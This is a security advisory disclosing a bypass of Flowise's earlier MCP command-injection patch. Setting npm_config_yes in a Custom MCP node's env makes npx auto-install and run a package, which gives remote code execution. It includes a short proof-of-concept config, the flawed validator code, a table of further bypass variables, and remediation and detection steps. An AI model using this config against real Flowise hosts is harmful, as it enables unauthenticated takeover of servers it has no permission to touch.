CVE-2026-69263: Flowise: CVE-2025-8943 Patch Bypass: npm_config_yes bypasses MCP environment variable blocklist (Unauthenticated RCE)

Custom MCP server nodes launch a command from user-supplied config. In packages/components/nodes/tools/MCP/core.ts, validateCommandFlags rejects dangerous flags for npx, node, python, python3 and docker, including -y and --yes. validateEnvironmentVariables then checks env against a hardcoded list: PATH, LD_LIBRARY_PATH, DYLD_LIBRARY_PATH and NODE_OPTIONS. Everything else passes.

npm reads its settings from npm_config_* variables, so npm_config_yes=true has the same effect as --yes. The proof of concept is an MCP server entry with command: npx, args: ["malicious-package"] and env: {"npm_config_yes": "true"}. Both validators pass, and npx downloads and runs the package with the privileges of the Flowise process. This works with CUSTOM_MCP_SECURITY_CHECK=true.

Other variables slip through the same gap: npm_config_prefix and npm_config_userconfig for npx, NODE_PATH for node, and PYTHONPATH and PYTHONSTARTUP for python3.

The report states that a default Flowise deployment ships with no authentication, so anyone who can reach the API can do this. The CVSS vector lists low privileges, which fits deployments with login enabled where the attacker needs an account that can configure a custom MCP tool. The result is full code execution on the Flowise host.

flowise and flowise-components on npm, 3.1.2 and earlier; the reporter tested 3.1.1. Deployments that allow the Custom MCP tool and run npx, node or python3 commands are exposed, with or without CUSTOM_MCP_SECURITY_CHECK set. Check the versions:

npm ls flowise flowise-components

Upgrade both packages to 3.1.3.

npm install -g [email protected]

The fix is in pull request 6471. The reporter's remedy is to strip the env object before it reaches the child process, or to switch to an allowlist of permitted variables. Adding the six names to the blocklist only narrows the gap. If you cannot upgrade yet, turn on authentication, since a default install has none, and restrict who can configure custom MCP tools.

Inspect saved chatflows and tool configurations with a Custom MCP node whose env block contains npm_config_, NODE_PATH, PYTHONPATH or PYTHONSTARTUP. On the host, look for npx processes started by Flowise that fetch packages you did not approve, new directories in the npm cache, and outbound requests to the npm registry from the Flowise process at unexpected times. Check whether the API was reachable without authentication.

Summary

The mitigation shipped for CVE-2025-8943 blocks the -y and --yes flags on npx to stop auto-installation of arbitrary packages. That flag filter works. The environment-variable check in the same patch denies only four variable names by exact string match, and npm reads its configuration directly from npm_config_* environment variables. Setting npm_config_yes=true reproduces the --yes behaviour the flag filter is meant to prevent, so npx auto-installs and executes the named package. The mitigation is fully bypassed.

This works with the MCP security check enabled (CUSTOM_MCP_SECURITY_CHECK=true). On a default Flowise deployment, which ships with no authentication, the result is unauthenticated remote code execution.

Root cause

The patch treats this as a flag-filtering problem, but the behaviour gated by --yes is also reachable through npm's environment-based configuration. The same is true for the other permitted interpreters, node and python3. A denylist of variable names cannot enumerate every environment variable that alters execution, so the control is incomplete by construction. The fix is to allowlist (or strip) the environment before it reaches the child process, not to extend the denylist.

Affected version

Flowise 3.1.1, current as of 2026-03-29.

Details

Validation happens in packages/components/nodes/tools/MCP/core.ts. Two functions run in sequence before any MCP server launches: validateCommandFlags and validateEnvironmentVariables.

validateCommandFlags is thorough. It blocks -y and --yes along with a comprehensive set of dangerous flags across npx, node, python, python3, and docker. That part of the patch is sound.

The gap is in validateEnvironmentVariables:

export const validateEnvironmentVariables = (env: Record<string, any>): void => {
    const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS']
    for (const [key, value] of Object.entries(env)) {
        if (dangerousEnvVars.includes(key)) {
            throw new Error(`Environment variable '${key}' modification is not allowed`)
        }
        if (typeof value === 'string' && value.includes('\0')) {
            throw new Error(`Environment variable '${key}' contains null byte`)
        }
    }
}

The blocklist is a hardcoded four-item array checked by exact match. Any variable not in that list passes through unchecked. npm_config_yes is npm's documented mechanism for setting the yes config via the environment. Set to true, it causes npx to auto-install without prompting, which is exactly what the -y and --yes flag blocks are intended to prevent.

Proof of concept

The following MCP server configuration bypasses the patch with CUSTOM_MCP_SECURITY_CHECK=true:

{
  "mcpServers": {
    "bypass": {
      "command": "npx",
      "args": ["malicious-package"],
      "env": {
        "npm_config_yes": "true"
      }
    }
  }
}

Execution path:

1. validateCommandFlags passes, because args contains no blocked flags.
2. validateEnvironmentVariables passes, because npm_config_yes is not in the four-item blocklist.
3. npx auto-installs and executes the named package with the privileges of the Flowise process.

On a default deployment with no authentication, any unauthenticated user who can reach the Flowise API can trigger this.

Additional bypass vectors (same root cause)

The following variables are also absent from the blocklist and influence execution through the other permitted interpreters:

| Variable | Command | Effect |
| `npm_config_prefix` | `npx` | Redirects package installation to attacker-controlled path |
| `npm_config_userconfig` | `npx` | Loads attacker-controlled `.npmrc` configuration |
| `NODE_PATH` | `node` | Loads modules from attacker-controlled path |
| `PYTHONPATH` | `python3` | Loads modules from attacker-controlled path |
| `PYTHONSTARTUP` | `python3` | Executes a file on interpreter startup (interactive sessions only) |

Impact

Full remote code execution with the privileges of the Flowise process. On default deployments with no authentication, no credentials are required.

Remediation

Strip the env object before passing it to the child process, or replace the name blocklist with an allowlist of explicitly permitted variables.

Adding the known dangerous variables to the blocklist (npm_config_yes, npm_config_prefix, npm_config_userconfig, NODE_PATH, PYTHONPATH, PYTHONSTARTUP) narrows the immediate gap but is a stopgap. Any future permitted interpreter reintroduces the same class of bypass.

References

• CVE-2025-8943
• CWE-184: Incomplete List of Disallowed Inputs